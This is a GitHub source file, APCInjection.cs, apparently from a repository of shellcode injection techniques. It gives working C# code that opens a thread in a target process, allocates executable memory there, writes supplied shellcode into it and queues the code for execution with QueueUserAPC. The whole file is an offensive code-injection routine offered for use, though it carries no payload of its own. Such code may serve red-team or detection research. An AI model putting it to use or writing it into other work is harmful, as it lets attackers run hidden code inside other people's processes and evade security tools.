-
Notifications
You must be signed in to change notification settings - Fork 97
/
Copy pathAPCInjection.cs
49 lines (40 loc) · 2.01 KB
/
APCInjection.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class APCInjection : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
ProcessThread thread = GetThread(target.Threads);
Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() });
// get a handle to the thread
IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id);
Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
// allocate some memory for our shellcode
IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") });
// write the shellcode into the allocated memory
Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") });
WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
// add an asynchronous procedure call
Debug("[+] QueueUserAPC() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
QueueUserAPC(pAddr, hThread, IntPtr.Zero);
}
ProcessThread GetThread(ProcessThreadCollection threads)
{
// find a thread
// it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread
return threads[0];
/*
// you could loop through the threads looking for a better one
foreach(ProcessThread thread in threads)
{
}
*/
}
}
}